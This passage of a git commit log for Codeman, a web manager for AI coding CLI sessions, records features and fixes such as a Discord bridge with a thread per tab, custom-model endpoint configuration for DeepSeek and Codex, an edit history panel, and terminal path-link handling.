Codeman maintainer f36bea86c7 Merge pull request #693: feat: edit history panel for local claude sessions (files edited, diffs, generated images) 2026-11-04 17:04:46 +01:00
Codeman maintainer 9d04a4fb02 feat: drop the typed first-message hint from the Discord bridge (#741)
Owner decision. Typing the note into a brand-new non-Claude tab spent a model
turn per tab and, for a spawned worker or a scheduled run, landed with the first
real prompt. Claude keeps its hint through the system prompt, and every other CLI
is told nothing. The setting goes with the path it gated: sessionIdle, the fresh
set, isHintableSession and the session:idle wiring. sendInput loses `fromUser`,
which was only ever false for the hint, and the deps test pins that a reply is a
person's own input.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-04 17:03:14 +01:00
Codeman maintainer 7c8d440928 Merge pull request #741: feat(discord): two-way Discord bridge with a thread per tab 2026-11-04 16:59:16 +01:00
Codeman maintainer 91d157cae4 fix: name the pane directory field paneCwd and apply the review items for #740
`cwd` beside the fixed `workingDir` reads ambiguously on a public API surface, and
`paneCwd` says where the value comes from, like `paneExit`. Also pin the field on
the payload the browser really receives (getSessionStateWithRespawn), and give the
pane-directory text its own architecture-invariants paragraph.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-04 16:59:16 +01:00
Codeman maintainer 4f50af6a9f Merge pull request #740: feat(terminal): resolve relative path links against the pane's current directory 2026-11-04 16:57:30 +01:00
Codeman maintainerandDDT dc6f8d27e8 fix: keep a Bash( row out of the parenthesised path detector (#735)
A Bash( row holds a command, so its parentheses do not bound one spaced path:
`Bash(/tmp/a.out input.txt)` became a single link to a file that cannot exist and
lost master's `input.txt` link. The path tools keep linking a spaced name whole,
and a hard-wrapped Bash( row gets no spaced lookup either. Test rows from #734.

Co-Authored-By: DDT <141296842+Hugo-DDT@users.noreply.github.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-04 16:57:10 +01:00
Codeman maintainer 2526fdb0d8 style: format the DSH_HOME warning
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-04 16:55:58 +01:00
Codeman maintainer 76e9f364f9 Merge pull request #735: fix(links): preserve wrapped configuration filenames 2026-11-04 16:55:44 +01:00
Codeman maintainer 8c317d84c8 fix: apply the review items for #755 at merge
Say that settings.yaml is shared only until the session's first settings write
(dsh saves by rename, which replaces the link), warn when a session's own DSH_HOME
does not answer and the server's home is linked instead, test
guardSessionConfigDirHome, and document the linkFromRealHome exception and what a
custom-model dsh session does not carry over.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-04 16:55:44 +01:00
Codeman maintainer 4c29aedbc5 Merge pull request #755: feat(custom-model): DeepSeek Harness injection through a per-session patch 2026-11-04 16:54:32 +01:00
Codeman maintainer 6232dffe03 fix: apply the review items for #752 and #757 at merge
The launch-id check is pure, so it now runs before the context warning and the
swap confirmation: nobody agrees to evict a model only to get the 400. Also the
search-box and in-use comments, the model-plain-colon wording, and the wiki's
order of the picker's marks.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-04 16:53:26 +01:00
Codeman maintainer f7dfe091c5 Merge pull request #757: feat(custom-model): mark the model a session is using in the endpoint model picker 2026-11-04 16:51:56 +01:00
Codeman maintainer 3bcb55ce96 Merge pull request #752: fix(custom-model): context limits, Codex model override, context discovery and picker filter 2026-11-04 16:51:56 +01:00
Codeman maintainer 7b8e295647 fix: retire the OpenCode Console breach notice
A new install has no seen list, so every new OpenCode user was still warned about
an October incident that is long over. The mechanism stays for the next notice;
an empty list is now a valid file, and the validators keep running over whatever
it holds.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-04 16:51:56 +01:00
Codeman maintainer 0dbfc8dc2d fix: apply the review items for #744 at merge
Classify OpenSSL and LibreSSL's SSL_connect errors as unreachable again (`_` is a
word character, so \bssl\b missed them and the user read the temp directory as the
reason), point a cases-folder refusal at Clone Repo instead of Create New, and move
the mechanism and history out of CLAUDE.md into architecture-invariants.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-04 16:50:44 +01:00
Codeman maintainer 927c9a461e docs: place the New folder note after the picker overview (#745)
It sat between the "two places" list and the paragraph starting "It browses",
so that "It" read as New folder, and it said the button is not offered inside
the cases folder when the button shows and the route refuses.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-04 16:49:58 +01:00
Codeman maintainer d9d6fad698 fix: cap the first tab on every pass, before a selection widens it (#748)
selectSession() toggles .active at once while _syncTabStripCorner() only runs in
the debounced render, so a cap set after measuring left a newly selected first
tab wider than the room and dropped the first row below the toolbar until then.
max-width changes nothing on a narrower tab, so the cap is simply always on, and
the clear-before-measure and finish-the-animation loops go. The no-usable-room
test uses 8 tabs: at 40 the scroll fallback fires first and it passed at any
threshold.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-04 16:48:57 +01:00
Codeman maintainer 823013226d fix: record the settings baseline when a tunnel enable is abandoned (#736)
Both _abandonTunnelEnable() returns come after saveAppSettingsToStorage() wrote
the new values to this device but before _unsavedSettingsBaseline was set, so
after cancelling the no-password prompt the next Save sent no
showPlanUsageLimits flip and did not reload for a gesture-control change.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-04 16:48:25 +01:00
Codeman maintainer 5e7ec1c522 Merge pull request #744: feat(cases): clone a repository into a custom folder 2026-11-04 16:47:48 +01:00
Codeman maintainer 1efe1d40c3 Merge pull request #745: feat(picker): New folder button in the path picker, on for Link Existing 2026-11-04 16:47:48 +01:00
Codeman maintainer 9d6f84f446 Merge pull request #748: fix(tabs): keep the L-shaped strip whichever tab is selected 2026-11-04 16:47:48 +01:00
Codeman maintainer 58f7dbc7ad Merge pull request #736: fix(settings): stop a failed settings write from saying it was saved 2026-11-04 16:47:48 +01:00
Codeman maintainer 7ed660ff11 Merge pull request #737: fix(mobile): show a press on the phone toolbar and accessory keys 2026-11-04 16:47:48 +01:00
Codeman maintainer 457dd54825 Merge pull request #738: test(docker): give the Update-Codeman.sh smoke harness a non-root appdata owner 2026-11-04 16:47:48 +01:00
Codeman maintainer de2bfb69c3 Merge pull request #742: test(tui): check the TUI pid option is unset in a way tmux 3.2a agrees with 2026-11-04 16:47:48 +01:00
Codeman maintainer 6670bc64b6 docs: add the Featured in Awesome AI Agents badge
Codeman was added to the Coding Agents section of NipunaRanasinghe/awesome-ai-agents (their PR #245, merged 2026-11-04).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-04 15:34:46 +01:00
RandalixandClaude Opus 5.5 109fd98038 fix(edit-history): colons in file:// paths, yield on forward reads, no store for unsupported
Follow-up from an own review pass of de436576:
- PATH_TOKEN_RE branch 1 stops at the next `file://` instead of at `:`,
  so `file:///tmp/plot-12:30.png` is found again; still linear.
- Forward reads yield between files like "Load older"; a store removed
  meanwhile ends the read and its printed paths are never probed.
- POST /edits/older and GET /edits/:entryId no longer load a store for
  remote, Docker or non-claude sessions (shared unsupportedList()).
- Time budgets widened (1 s per line, 3 s per chunk; ~3 s / 6.6 s before
  the fix) so the throttled suite does not flake.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 09:50:21 +01:00
RandalixandClaude Opus 5.5 de43657676 fix(edit-history): bounded image probe, linear path scan (review of #693)
- probeLocalPaths: every agent-printed candidate goes through
  probePathKind() first (no pastCap, bulk scan), sequentially; only a path
  that answered 'file' gets realpath + stat. A path on a mount that stopped
  answering no longer hangs the sync, a queued sync or remove().
- PATH_TOKEN_RE: branch 4 starts only at a token boundary (`:` excluded so
  URLs stay ignored), branch 1 stops at `:`. Linear in the line length
  (30,000 `#` took ~3 s before).
- Load older yields to the event loop between the files it parses.
- GET /edits answers unsupported without loading a store.
- CLAUDE.md paragraph trimmed to the rules; probe and regex rules added to
  architecture-invariants#edit-history-panel.

Tests: stall test through the real sync and probe with a stat that never
settles; time-budget tests with 30,000-character inputs and a 139-result
base64 chunk; route test asserts no store load for unsupported sessions.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 09:46:23 +01:00
Devvyn 4aeab0d9ce fix(custom-model): keep the in-use picker honest about down endpoints and exited panes
Review round on PR #757. The route turns EVERY upstream failure into
isLlamaSwap: false, so the old line silently promised an unreachable
endpoint was merely mute, and the live-session check missed a null pid
(the PTY exited, the same test keep-warm applies).

- Require pid !== null in _getCustomModelInUseBySession, pinned by a
  'process exited' case in the marks-nothing table
- Reword #customModelPickUnknown to claim only that nothing was
  reported, true for a down endpoint too; drop the 'stays quiet for a
  failed probe' promise from changeset, docs and comments
- architecture-invariants: add the In-use tier, both pin fences
  (customModel not displayModel; stopped/null-pid/paneExit never
  count) and the unknown-line rule
- Mirror the wording through i18n (key + zh-CN), index.html fixture,
  styles.css comment, and the run-menu tests
2026-11-02 19:15:37 +08:00
Devvyn 4623ee0d12 fix(custom-model): keep the in-use changeset at mode 100644 like its neighbours 2026-11-02 19:05:22 +08:00
Devvyn e1c792f491 fix(custom-model): ignore a remembered model id the endpoint no longer lists
Round-four review, split fix 1: a stale 'last used' id kept the promotion truthy, so no row was tagged and the 'Nothing is marked' line stayed hidden. Derive it from promoted && models.includes(promoted).
2026-11-02 19:05:22 +08:00
Devvyn 1f0823c582 fix(custom-model): show which model a session is using when an endpoint cannot report it
Only llama-swap answers what is loaded, so behind a gateway such as Bifrost
nothing was marked and the picker fell back to discovery order apart from the
one CLI that had launched there before. A live session whose own injected
endpoint is that host now promotes its model as "In use by a session", under
its own tag and below llama-swap's "Currently loaded" answer, reading only
what Codeman injected rather than terminal text, and never a stopped session.
When genuinely nothing is known the picker says so instead of leaving an
unmarked wall, and stays quiet for an endpoint that merely failed to answer.
2026-11-02 19:05:22 +08:00
Devvyn 884e67d07e test(custom-model): pin the codex one-shot launch model on quick-start
Round-four review smaller item: one getCustomModelForPersist().launchModel expectation, like the pi/grok/omp tests beside it, pins #750 on the one-shot path.
2026-11-02 17:04:12 +08:00
Devvyn b177885dd7 docs(custom-model): say a PUT clears defaultContextLength and a learned figure wins
Round-four review smaller items: api-reference now states the opposite-of-apiKey behaviour for an omitted defaultContextLength, and the wiki sentence follows the code, modelContextLengths[id] ?? defaultContextLength: any stored figure beats the default.
2026-11-02 17:04:12 +08:00
Devvyn 5c8a557390 refactor(custom-model): one exported MAX_DISCOVERED_CONTEXT_TOKENS for routes and schema
Round-four review smaller item: the discovery comment claimed a shared ceiling while schemas.ts restated the literal twice; the constant now lives in schemas.ts (routes already import from it, no cycle) and both bounds reference it.
2026-11-02 17:04:12 +08:00
Devvyn 2cc5f3f9e6 fix(custom-model): keep the picker search box unfocused on touch devices
Round-four review item 4: focusing the search input on every picker open raises the OS keyboard over the list on phones; guard it the way readmymind-ui.js does.
2026-11-02 17:04:01 +08:00
Devvyn 181e419644 fix(custom-model): check the forced launch id before any config dir write
Round-four review item 3: the swap route wrote the new config.toml into the very dir a live codex session uses as CODEX_HOME before checking the pattern, and its refusal then deleted that dir. buildCustomModelInjection is pure, so the check runs on its result and a refused id never touches the filesystem. Pinned by a two-apply codex route test.
2026-11-02 17:04:01 +08:00
Devvyn 2db0449a54 docs(custom-model): add this PR's changeset for the context-limit work 2026-11-02 17:04:01 +08:00
Devvyn 82d251d52b docs(custom-model): align the docs and comments with the core behaviour 2026-11-02 16:54:57 +08:00
Devvyn d980d70173 test(custom-model): pin the codex context lines 2026-11-02 16:54:56 +08:00
Devvyn fa2b81484b fix(custom-model): guard, document and test the session-supplied dsh home
Second review round on PR #755: skip non-absolute DSH_HOME candidates so a relative home can never mkdir under the server cwd; probe a session-supplied home with probePathKind in both async routes before the synchronous apply; test the session env-override lookup (seventh arg) incl. the self-link fall-through and the relative-home skip; reject '.' and '..' as realHomeFallback and enforce linkFromRealHomeDirs subset in the schema; fix the stale apply JSDoc and the two doc lines lagging the verified dsh run; state the shared/isolated split plainly.
2026-11-02 15:50:45 +08:00
Devvyn 1464332e91 fix(custom-model): create missing dsh home dirs before linking, rebuild restore bookkeeping, dedicated custom key var, schema guards for the real-home recipe
- linkFromRealHomeDirs marks directory entries: missing dirs are created (0700) instead of leaving a dangling link that failed every prompt with ENOENT; missing file targets are skipped
- _restoreCustomModel rebuilds the bookkeeping from the CURRENT recipe (configDir + env-key union) so a selection saved under the old env recipe can still be cleared after upgrade; drop the dead session-home recovery lookup
- deepseek's patch now references CODEMAN_CUSTOM_MODEL_API_KEY, so an in-session /model switch back to the official route cannot carry the custom key to api.deepseek.com (privilegedEnvKeys updated)
- schema: realHomeFallback must be one relative segment; linkFromRealHome requires it and must not collide with fileName
- docs: maintainer-verified real-dsh run replaces the outstanding-verification wording; shares-vs-isolates note; plan table row refreshed
2026-11-02 14:06:56 +08:00
Devvyn c646613c56 refactor(custom-model): move the real-home link into the registry recipe
- linkFromRealHome/realHomeFallback on the configDir recipe; the apply consumer is generic and names no CLI
- lstat guard so boot-recovery re-applies survive a dangling link; symlink is best-effort
- resolve the real home from the session's own dirEnvVar override before the server's, threaded through both routes and boot recovery (Session.envOverrideValue)
- deepseek links profiles/sessions/settings.yaml; boot-recovery test covers the session lookup
2026-11-01 21:42:02 +08:00
Devvyn aece02da87 feat(custom-model): DeepSeek configDir injection via a per-session patch
Replace the deepseek env redirect with a deepseek-patch-json recipe: a per-session DSH_HOME holding a generated cordis.patch.yml that declares a codeman-custom openai-completions provider over the installed profile. Ported from PR #752 commits 941df574 and 4bb1bfe9, minus the core context-limit changes.
2026-11-01 21:29:31 +08:00
Devvyn 1b8ac40baf fix(custom-model): core review fixes for context-length discovery and injection
- share one context-length resolution (discovered figure, endpoint default fallback) across the routes and boot recovery, with a recovery test
- record listed per-slot context figures with a slot count of 1 and force the slot-count fallback once per rediscovery
- open up the codex model launch token for qwen3-style ids (model-plain-colon), pinned by a spawn-golden case
- pass the full discovered window to opencode as limit.context
- translate the picker search strings and document the discovery precedence
2026-11-01 21:26:54 +08:00
Devvyn dbd1b6e587 refactor(custom-model): keep the DeepSeek patch rewrite on its own branch 2026-11-01 21:20:40 +08:00
Devvyn a97fa0de17 feat(custom-model): discover context length from /v1/models and add a default context length
Fixes #754
2026-11-01 21:08:52 +08:00
Devvyn 5582ec523b fix(custom-model): fix picker spacing and the no-matches line 2026-11-01 21:06:39 +08:00
Devvyn ed67596387 fix(custom-model): pass context limits and selected model to CLIs, and add model picker filter
- opencode: write limit.context/output from the discovered context length (#749)
- codex: override the native launch model when a custom endpoint is selected (#750), and set model_context_window
- model picker: add a search/filter box with a no-matches line
2026-11-01 21:06:38 +08:00
Codeman maintainer 87c656283d feat(codex): let Codex sessions drive other sessions through the codeman skill
Measured on 1.47.0 with the same "spawn a shell worker, echo, read, delete"
task: DeepSeek Harness and OpenCode already pass end to end; Codex 0.162
failed three ways, fixed here.

- Start Codex 0.162+ with --no-daemon (new noDaemonFlag gate, fail-closed).
  The shared app-server daemon stopped every launch on an "incompatible
  feature settings" dialog when another version's daemon was running, and
  ran commands with another session's CODEMAN_* environment.
- Evaluate registry version gates against the gated CLI's own version
  (resolveSessionCliVersion) instead of claude's for every entry.
- Add the opt-in synced setting App Settings > Codex > Allow network access
  (codexNetworkAccess, default off): --config
  sandbox_workspace_write.network_access=true, filled as a launch default
  and clamped off for non-granted owners like the bypass switch.
- Skill: carry on with the curl path when `codeman` is not on PATH, re-run a
  sandbox-blocked call once through the CLI's approval path, name the new
  setting. Wiki and registry docs updated.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-01 06:21:38 +01:00
timkjrandClaude Opus 5.5 6a23fecb1c fix: keep the L-shaped tab strip whichever tab is selected
The wrapped header strip fell back to the plain wrap whenever its first
tab was wider than the room beside the toolbar. A selected tab is wider
(its gear and close show), so selecting the first tab flipped the whole
strip back: the toolbar took its own column again and, with long names,
every tab took a line of its own. Selecting any other tab brought the
full-width rows back.

The first tab is now trimmed to the room instead (tab-corner-fit, a
max-width from --tab-corner-first-max, its name ellipsized). Only a
toolbar that leaves less than TAB_CORNER_MIN_FIRST_TAB (120px) beside
it keeps the plain wrap, which does not depend on the selection.

Two measuring details make the trim hold:
- the room comes from the rounded-up float width, less the tab's 2px
  margin and a pixel for subpixel layout (a tab at the exact width still
  wrapped under the float);
- the first tab is measured with its trim cleared and its gear/close
  width transitions finished, or a grown room reads the last trim as the
  width and a selection change is judged by the width the tab is leaving.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-31 16:41:26 -05:00
Devvyn 7a3629e890 fix(picker): do not offer New folder inside a cases directory
A folder made in a cases directory is already a case (no scaffold), which Link
Existing then refuses by name and which deleting would take the linked folder
with. The route refuses a cases directory as the parent (the shared one and the
caller's own), a leading tilde in the name, and maps a vanished parent to 404.
Docs now say every name it accepts is one Link Existing accepts, and the wiki
describes the button.
2026-10-31 21:12:46 +08:00
Devvyn 41186f5ac3 fix(cases): never let a path decide whether a refused clone empties the folder
git's refusal quotes the destination, so a folder named openssl or rustls
classified as HOST_UNREACHABLE and the cleanup emptied it. The cleanup now
tests git's own text, DESTINATION_EXISTS is matched first, and ssl/tls are
matched as words. Also: a test for the Docker refusal on the default branch,
the route JSDoc and constant comment, and the folder copy (empty, or new).
2026-10-31 20:29:26 +08:00
Devvyn 869633ae6d fix(picker): make New folder names Link Existing can use, and tighten the route
The name rule now matches safePathSchema (letters, digits, space and _ - . ~,
no .., no leading dot, at most 255 bytes) so every folder it makes can be
linked. A file as the parent is a 400, errno text is no longer returned,
showHidden is forwarded like browse, and Create is disabled while the request
runs. Adds multi-user scoping tests.
2026-10-31 19:44:02 +08:00
Devvyn b549a66aa3 fix(cases): skip the cleanup when git never ran, and refuse Docker workspaces
A direct clone whose git-slot wait timed out came back with no spawnError, so
the cleanup emptied a folder git never touched. GitRun now says whether git
started and the cleanup requires it. Cloning into a folder at or inside a
Docker case workspace is refused, as git status, fetch and worktrees do, since
git would run the new repository's hooks and filters on the host.
2026-10-31 19:13:56 +08:00
Devvyn d5e4fe0f87 feat(picker): New folder button in the path picker, on for Link Existing
The picker could only choose an existing folder. POST /api/filesystem/mkdir
creates one folder inside a folder the picker may browse (same roots,
ownership and blocked-tree rules as browse), and PathPicker gains an opt-in
allowNewFolder that adds a New folder button and selects the result.
2026-10-31 18:26:00 +08:00
Devvyn 086249a386 fix(cases): never delete another clone's files after a failed direct clone
A direct clone into an empty folder emptied the folder after any failure, which
deleted a concurrent attempt's finished clone when git had written nothing.
Clones into one folder are now mutually exclusive in-process, the cleanup is
skipped when git refused the folder, never ran, or the mount is unresponsive,
and a name linked while the clone ran is a 409 that keeps the folder.
Documents path for POST /api/cases/clone.
2026-10-31 17:57:51 +08:00
Devvyn 68bd7e4d15 fix(cases): clone into the chosen folder itself, not a subfolder of it
The custom folder was treated as a parent, so the repository landed in <folder>/<case name>. The chosen folder is now the clone destination: an empty existing folder is cloned into directly (CloneOptions.intoEmptyDir, no temporary sibling, never removed on failure), a new folder is created, and a folder with files is refused.
2026-10-31 16:43:11 +08:00
Devvyn 0bd15ddc84 feat(cases): clone a repository into a custom folder
Clone Repo could only clone under ~/codeman-cases. POST /api/cases/clone now takes an optional path (parent folder plus case name) and the Clone tab gets a Clone into a custom folder option with a Browse button, mirroring Create in a custom folder. The path is judged by prepareNewCasePath, the clone is registered as a linked case, the option is admin-only in multi-user mode, and an existing target folder is refused.
2026-10-31 16:19:20 +08:00
JD d5a5468b02 test(tui): check the TUI pid option is unset in a way tmux 3.2a agrees with
An unset user option makes `show-options -gv` exit 1 on newer tmux but print nothing and exit 0 on 3.2a (Ubuntu 22.04), so the disarm assertion failed there although the option was gone. Assert on the global listing instead, which omits an unset option on both.
2026-10-30 20:51:54 -04:00
Devvyn c5d0e4b8b4 fix(discord): bound the table conversion, claim a message before posting it, list every CLI without a turn end 2026-10-30 22:28:13 +08:00
Devvyn 021641911e fix(discord): make the table separator test linear, record a posted message only after it posts, say which CLIs raise a turn end 2026-10-30 21:28:35 +08:00
Devvyn e5d82eb044 feat(discord): post a Markdown table as an aligned code block 2026-10-30 19:58:44 +08:00
Devvyn 093f242662 feat(discord): post a finished turn as the CLI's whole last message, stale thread cleanup, types moved to src/types 2026-10-30 18:26:35 +08:00
Devvyn d6c7d30bd4 fix(discord): tidy a thread made in the old channel, keep the two pending sets in step, settle the hint when the settings are off 2026-10-30 16:42:33 +08:00
Devvyn 97c698b249 fix(discord): ignore gateway frames after stop, hold the typed hint while a choice is pending, name the Discord group in the settings reference 2026-10-30 15:42:48 +08:00
Devvyn 9f18b78857 fix(discord): replace a gateway that gave up when the same config is saved again 2026-10-30 14:27:36 +08:00
Devvyn d044e49635 fix(discord): show the real reason a thread fails, keep the gateway across a save, refund the rate limit for a refused file 2026-10-30 12:58:03 +08:00
Devvyn a698729fb6 fix(discord): keep the thread of a discarded rebuild, close one made for a closed tab, unique tmp names, wider prune keep set 2026-10-30 11:43:09 +08:00
Devvyn b68792f988 fix(discord): say when the agent has exited, keep replies in order, settle a stalled response, prune dead tabs
- a reply to a tab whose agent has exited is answered in the thread, with no tick
- inbound messages run on one chain per thread, so a reply with a file cannot be overtaken
- postJson settles when a response stalls after its headers
- the thread map is pruned against the live sessions once after boot
2026-10-30 10:33:34 +08:00
Devvyn 72a59de96c docs(discord): write down the lone-digit rule, which installs have codeman, and tidy comments
- lone digit rule in CLAUDE.md, invariants, user docs, wiki, API reference and code comments
- say which installs have the codeman command
- reload() comment back above reload(), merge the sendInput comments, typedHint in the hint comment
- drop the stray dot after --urgent in the startup hint
- config-backups wiki: name the discord.json token, not the URL
- comma in the CLAUDE.md auto-named list
2026-10-30 09:12:41 +08:00
Devvyn 212989b349 fix(discord): digit replies without Enter, start the gateway after restore, hide other users' session ids, fix docs
- a lone digit reply is typed without Enter while the tab has a pending permission or question
- the gateway starts after restoreMuxSessions (hold and release), so a reply during restore is not told the tab is gone
- discord-notify resolves an id prefix only among sessions the caller may see
- restore docs/architecture-invariants.md from base and add only the Discord section
- docs: self-ignoring folder, no logging, Notifications group, Send test, local-tab-only Claude hint, typedHint wording
2026-10-30 07:58:33 +08:00
Devvyn dc22519adb fix(discord): discard a thread created for a replaced parent channel, test the notify timeout, document the bridge invariants
- a thread creation that finishes after the parent channel changed is dropped, and a finished creation only clears its own pending entry
- postJson takes an optional timeout, pinned by a test against a server that never answers
- drop the flat discord-bridge.json fallback
- add a Discord bridge section to architecture-invariants
2026-10-30 06:42:17 +08:00
Devvyn 1ab54b9e9b fix(discord): report a refused post as a failure, bound the file probe, drop threads of a previous channel
- codeman notify exits 1 when the route answers 200 with data.ok false
- notify request times out at 30 s instead of hanging
- fileProblem probes the file with the bounded probe before realpath
- the thread map records its parent channel; a new channel starts afresh
- threadFor returns its failure instead of sharing this.last
2026-10-30 04:58:17 +08:00
Devvyn 0db9b55961 fix(discord): rate limit discord-notify, bound the folder probe, stop sendTest swapping the live config
- discord-notify: per-session token bucket (6 a minute), 429 RATE_LIMITED, plain line from codeman notify
- fileProblem probes the working folder with the bounded probe before realpath
- sendTest uses its own DiscordApi and leaves this.cfg alone
- drop the resumed-tab check from the typed hint (only Claude's field was read)
- first sessionRenamed per session records the name without a PATCH
- boot goes through ensureLoaded, so one gateway starts
- a thread created without an id reports the failure
2026-10-30 03:47:25 +08:00
Devvyn 2d4036cf1e test(discord): give the bare cleanup server the bridge its delete path now calls 2026-10-30 01:50:24 +08:00
Devvyn 6d4357502b feat(discord): make the typed first-message hint a separate opt-in, off by default
Claude keeps the silent system-prompt hint (startupHint, on). Other CLIs are sent the typed message only with typedHint, which costs a model turn per tab.
2026-10-30 01:38:37 +08:00
Devvyn e95d38a944 fix(discord): load the thread map once, so alerts that race at startup keep their threads 2026-10-29 23:04:20 +08:00
Devvyn eb0553a645 fix(discord): address review on #741
Builds the alert tail only for a post that goes out; separates deduped from disabled and never dedupes a deliberate notify; types the startup hint with fromUser false and skips resumed, remote and Docker tabs; clears per-tab maps and closes the bridge on stop; acts only on a real delete, not a detach; serialises thread-map writes; reloads the bridge after a discord.json restore; probes and self-ignores .codeman-discord; validates the message id; reacts when a reply is rate limited; documents what leaves the machine.
2026-10-29 23:03:26 +08:00
Devvyn aedefab8b4 chore(discord): drop the changeset, the maintainer writes release notes 2026-10-29 21:58:16 +08:00
Devvyn 902d4491e5 feat(discord): testable codeman notify, short-id route, wiki page, docs and glue tests
Moves the notify command into src/cli-notify.ts with tests, lets discord-notify take the 8-character id a Docker case exports, adds the wiki page and index entries, rewrites the stale changeset and security notes, and pins the WebServer wiring.
2026-10-29 21:46:06 +08:00
Devvyn e3ca07d59d docs(discord): restore api-reference.md formatting, keep only the Discord section
A formatter run re-padded every table in the file and broke the cron docs test, which matches the original spacing.
2026-10-29 21:39:49 +08:00
Devvyn dcf51b1715 fix(discord): post the rendered screen, not the raw stream, as the alert tail
A full-screen UI repaints in place, so the raw output stream read as garbage. Read capture-pane instead and drop rules, blanks and escape codes.
2026-10-29 21:31:37 +08:00
Devvyn 1c4338e8b5 feat(discord): codeman notify, startup hint for every CLI, and file send/receive
Adds the codeman notify command, a startup hint (Claude via --append-system-prompt, other CLIs once on first idle), files saved from thread attachments into the tab folder, and --file uploads limited to the session folder.
2026-10-29 21:27:23 +08:00
Devvyn 61bf26cfdf feat(discord): two-way Discord bridge with a thread per tab
Alerts for permission prompts, questions, idle and errors post into a per-tab thread; a reply from an allowlisted user is typed into that tab. Thread creation, thread cleanup on tab delete and pinging are configurable. POST /api/sessions/:id/discord-notify lets a CLI ask for the user. Setup is in docs/discord-bridge.md.
2026-10-29 21:04:18 +08:00
Aamer Akhter f23e18b1fc fix(terminal): report the pane directory in the workspace's own spelling
tmux reads a pane's directory from the process cwd, which is always the
resolved path, while workingDir keeps the spelling the case was created
with. For a workspace reached through a symlink every reading looked
like it was outside the workspace, so the browser sent each relative
link through the attachment route instead of the workspace routes.

Each session now resolves workingDir once in the background, bounded by
probePathKind() and a timed realpath(), and setCwd() writes a reading at
or under the resolved path back in workingDir's spelling. Until that
settles only a reading lexically inside workingDir is taken. An unknown
probe or a failed realpath leaves readings untranslated and retries
after WORKSPACE_REALPATH_RETRY_MS.

Also corrects two comments: cwd is written to state.json but never read
back, and a blank pane path is usually a pane whose program exited.
2026-10-28 19:29:05 -04:00
Aamer Akhter 54c1692350 fix(terminal): clear the pane directory when a read says the session has none
applyPaneExits() only applied the manager's directory when it returned a
value, so after a successful read a session that was split into several
panes, or was no longer on the socket, kept its stale cwd. The manager
already keeps its map across a failed or empty read, so the server now
applies its answer as given, undefined included, and setCwd() broadcasts
the clear once.

A blank #{pane_current_path} on a single-pane session (tmux could not read
the process cwd that tick) now carries the previous entry forward in
derivePaneCurrentPaths(), so only a split or unlisted session clears.

The server tests now drive the real TmuxManager with only the tmux read
faked. docs/api-reference.md documents SessionState.cwd.
2026-10-28 15:28:59 -04:00
JD f91cd343be fix(mobile): keep the press transition to the press's own properties
`all` also sped up Run's mode colours, Stop's confirming state and the armed Ctrl key. The browser test now reads the transition at rest, since its 250ms hold would also pass the old 0.2s one.
2026-10-28 13:39:13 -04:00
JD ee97daa4f0 test(docker): leave appdata root-owned when the runner cannot chown it
Root without CAP_CHOWN (--cap-drop ALL, as Codeman's own Docker case containers run) or a single-uid user namespace makes chownSync throw, which failed all five smoke tests in harness setup instead of master's two.
2026-10-28 13:33:45 -04:00
Devvyn 3847e377d8 fix(links): preserve missing-path and labelled-wrap behaviour 2026-10-29 01:32:17 +08:00
Devvyn 168c15ae08 fix(links): scope comma handling to parenthesised paths 2026-10-29 00:18:20 +08:00
Devvyn fd0e52496d fix(links): preserve workspace openers after lookup refusals 2026-10-28 23:03:45 +08:00
Devvyn 97d53f6621 fix(links): resolve ambiguous hard wraps through guarded lookup 2026-10-28 21:45:49 +08:00
Aamer Akhter 1607b1e488 feat(terminal): resolve relative path links against the pane's current directory
A relative path printed in the terminal was resolved against the session's
workingDir, which is fixed at create time and never follows a cd. In a shell
that moved into a subdirectory or a sibling repo, the link opened the wrong
file or reported "File not found".

The pane-exit watcher's batched list-panes read already carries
#{pane_current_path}. derivePaneCurrentPaths() turns those rows into one
directory per single-pane session, TmuxManager.getPaneCurrentPath() serves it
from memory, and the server applies it on the existing paneExitsUpdated tick
as SessionState.cwd, broadcasting only on a change. No new tmux call, no new
SSE event. A failed read keeps the previous answers.

Session.setCwd() uses the paneExit scoping rule: remote and Docker sessions
never get a cwd (their local pane runs the ssh or docker exec client), nor do
direct-PTY or rediscovered sessions. The value is runtime-only.

In the browser, relativeResolutionBase() picks the live cwd when known and
workingDir otherwise. It only changes the base a relative path joins: the
result is routed as before, so a target outside the workspace still goes
through the attachment routes, and file-content/file-raw are unchanged.
2026-10-28 09:38:06 -04:00
Devvyn 5ce8213726 fix(links): preserve wrapped configuration filenames 2026-10-28 21:17:50 +08:00
Codeman maintainer f1f7eec4d6 chore: version packages
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-28 14:10:31 +01:00
Codeman maintainer 1ab01bb7ef chore: one changeset for the release
Consolidate this release's notes into one changeset (Thanks, the tab
strip, the fixes, the fixes applied while landing) and drop #730's own.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-28 09:35:33 +01:00
Codeman maintainer 8074f67c6a fix: keep the soft-keyboard recovery on Android with a fine pointer (release review, #726)
#726 attaches the keyCode 229 recovery only when (pointer: coarse)
matches, which keeps a desktop dead key from arriving twice. Chromium
reports the PRIMARY pointer as fine once a mouse, a trackpad cover or a
stylus is attached, so on such an Android device the module was off
while the text still came from the soft keyboard, and the #441 dropped
last character and the #541 autocorrect duplication came back.

The gate is now a coarse pointer OR an Android user agent. Android ran
the recovery unconditionally before #726, so this only keeps that; a
